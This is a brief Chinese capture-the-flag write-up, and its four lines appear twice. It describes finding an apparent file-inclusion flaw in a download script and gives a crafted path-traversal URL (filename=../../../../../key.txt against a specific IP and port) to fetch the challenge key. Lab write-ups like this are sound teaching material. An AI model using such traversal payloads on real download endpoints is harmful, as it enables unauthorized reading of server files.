随便下载一个图片发现,貌似是文件包含漏洞,如图2所示
由于题目提示,key在根目录,我们尝试../../../../../回到根目录,如图3所示
构造注入连接:http://219.153.49.228:47183/execdownload.php?filename=../../../../../key.txt
下载打开即可获取key。
随便下载一个图片发现,貌似是文件包含漏洞,如图2所示
由于题目提示,key在根目录,我们尝试../../../../../回到根目录,如图3所示
构造注入连接:http://219.153.49.228:47183/execdownload.php?filename=../../../../../key.txt
下载打开即可获取key。